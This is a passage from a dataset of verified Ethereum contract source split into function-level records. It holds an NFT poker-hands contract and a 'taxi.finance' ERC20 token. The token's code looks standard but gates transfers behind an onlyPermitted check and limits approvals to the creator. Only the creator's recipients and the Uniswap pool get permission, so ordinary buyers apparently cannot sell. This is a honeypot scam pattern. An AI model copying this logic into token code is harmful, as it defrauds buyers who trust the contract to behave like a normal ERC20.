j++) { if (stringEquals(hand[i], hand[j])) { return true; } } } return false; } function stringEquals(string memory a, string memory b) internal pure returns (bool) { bytes memory aa = bytes(a); bytes memory bb = bytes(b); if (aa.length != bb.length) { return false; } else { return keccak256(aa) == keccak256(bb); } } function generateHand(uint256 tokenId, uint256 attempt) internal view returns (string[] memory) { string memory tokenString = toString(tokenId); string[] memory ret = new string[](5); for (uint256 i = 0; i < 5; i++) { uint256 rand = random( string(abi.encodePacked(toString(attempt), toString(i), tokenString)) ); ret[i] = deck[rand % deck.length]; } return ret; } function tokenURI(uint256 tokenId) public view override returns (string memory) { string[] memory hand = getHand(tokenId); string[17] memory parts; parts[ 0 ] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">'; parts[1] = hand[0]; parts[2] = '</text><text x="10" y="40" class="base">'; parts[3] = hand[1]; parts[4] = '</text><text x="10" y="60" class="base">'; parts[5] = hand[2]; parts[6] = '</text><text x="10" y="80" class="base">'; parts[7] = hand[3]; parts[8] = '</text><text x="10" y="100" class="base">'; parts[9] = hand[4]; parts[10] = "</text></svg>"; string memory output = string( abi.encodePacked( parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8] ) ); output = string(abi.encodePacked(output, parts[9], parts[10])); string memory json = Base64.encode( bytes( string( abi.encodePacked( '{"name": "Hand #', toString(tokenId), '", "description": "Randomly generated poker hands generated and stored on chain. Feel free to use PokerHands in any way you want.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}' ) ) ) ); output = string(abi.encodePacked("data:application/json;base64,", json)); return output; } // 10,000 total tokens, 10 reserved function claim(uint256 tokenId) public nonReentrant { require(tokenId > 0 && tokenId < 9990, "Token ID invalid"); _safeMint(_msgSender(), tokenId); } function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner { require(tokenId >= 9991 && tokenId <= 10000, "Token ID invalid"); _safeMint(owner(), tokenId); } function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } constructor() ERC721("PokerHands", "POKERHANDS") Ownable() {} }
claim
function claim(uint256 tokenId) public nonReentrant { require(tokenId > 0 && tokenId < 9990, "Token ID invalid"); _safeMint(_msgSender(), tokenId); }
// 10,000 total tokens, 10 reserved
LineComment
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 5215, 5376 ] }
1,440
PokerHands
contracts/PokerHands.sol
0x154289164629fcfff837053f37fb9c2099eab44e
Solidity
Base64
library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF) ) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF) ) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } }
/// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]>
NatSpecSingleLine
encode
function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF) ) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF) ) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); }
/// @notice Encodes some bytes to the base64 representation
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 186, 1571 ] }
1,441
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 90, 149 ] }
1,442
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 228, 300 ] }
1,443
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 516, 597 ] }
1,444
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 868, 955 ] }
1,445
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 1604, 1682 ] }
1,446
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 1985, 2086 ] }
1,447
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "taxi.finance"; //_symbol = "TAXI"; _name = "taxi.finance"; _symbol = "TAXI"; _decimals = 18; _totalSupply = 20000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
name
function name() public view returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 1018, 1103 ] }
1,448
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "taxi.finance"; //_symbol = "TAXI"; _name = "taxi.finance"; _symbol = "TAXI"; _decimals = 18; _totalSupply = 20000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
symbol
function symbol() public view returns (string memory) { return _symbol; }
/** * @dev Returns the symbol of the token, usually a shorter version of the * name. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 1212, 1301 ] }
1,449
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "taxi.finance"; //_symbol = "TAXI"; _name = "taxi.finance"; _symbol = "TAXI"; _decimals = 18; _totalSupply = 20000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and 